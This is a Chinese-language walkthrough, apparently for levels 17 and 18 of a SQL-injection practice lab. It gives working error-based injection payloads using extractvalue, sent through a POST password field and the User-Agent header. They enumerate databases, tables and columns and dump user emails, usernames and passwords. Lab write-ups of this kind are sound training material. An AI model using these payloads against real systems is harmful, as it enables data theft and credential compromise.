第十七关
POST类型基于字符串的更新查询错误
1.判断注入点
根据种种提示,账户输入Dhakkan,登录成功(空密码也行),从密码入手,输入123’发现报错
用#注释掉后面正常
uname=Dhakkan&passwd=123'#&submit=Submit
2.判断查询方式
判断列数失败
联合查询失败
使用特殊函数extractvalue查询成功
uname=Dhakkan&passwd=123' and extractvalue(1,concat(0x7e,1))#&submit=Submit
3.爆库
uname=Dhakkan&passwd=123' and extractvalue(1,concat(0x7e,database()))#&submit=Submit
4.爆表
uname=Dhakkan&passwd=123' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#&submit=Submit
5.爆列
uname=Dhakkan&passwd=123' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails')))#&submit=Submit
6.爆数据
uname=Dhakkan&passwd=123' and extractvalue(1,concat(0x7e,(select concat(id,' ',email_id) from emails limit 0,1)))#&submit=Submit
第十八关
基于头部注射-用户代理范围的错误
1.判断注入点
Username根据提示输入Dhakkan,Password不输入,出现User Agent(前提是你成功登录17关后手动输入18关,这样可以卡出bug,不行的话用burpsuit抓到的Username:admin Password:admin即可)
这里17改为18
User Agent可以使用burpsuit抓包得到
输入’a放包得到报错信息
尝试 ’闭合前边sql语句,用and,or语句融入我们想查询的信息,不能用#注释掉后面的信息,所以用’闭合后面的语句
输入 ' and extractvalue(1,concat(0x7e,1)) or ' 得到
2.爆库
' and extractvalue(1,concat(0x7e,database())) or '
3.爆表
这里换一种写法,图中显示要补齐两个数据,使用1’补齐闭合前面的,再加上1补齐,保证列数一致,用#注释掉后面的
列数不一致的提示
1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
4.爆列
1',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)))#
5.爆数据
1',1,extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e)))#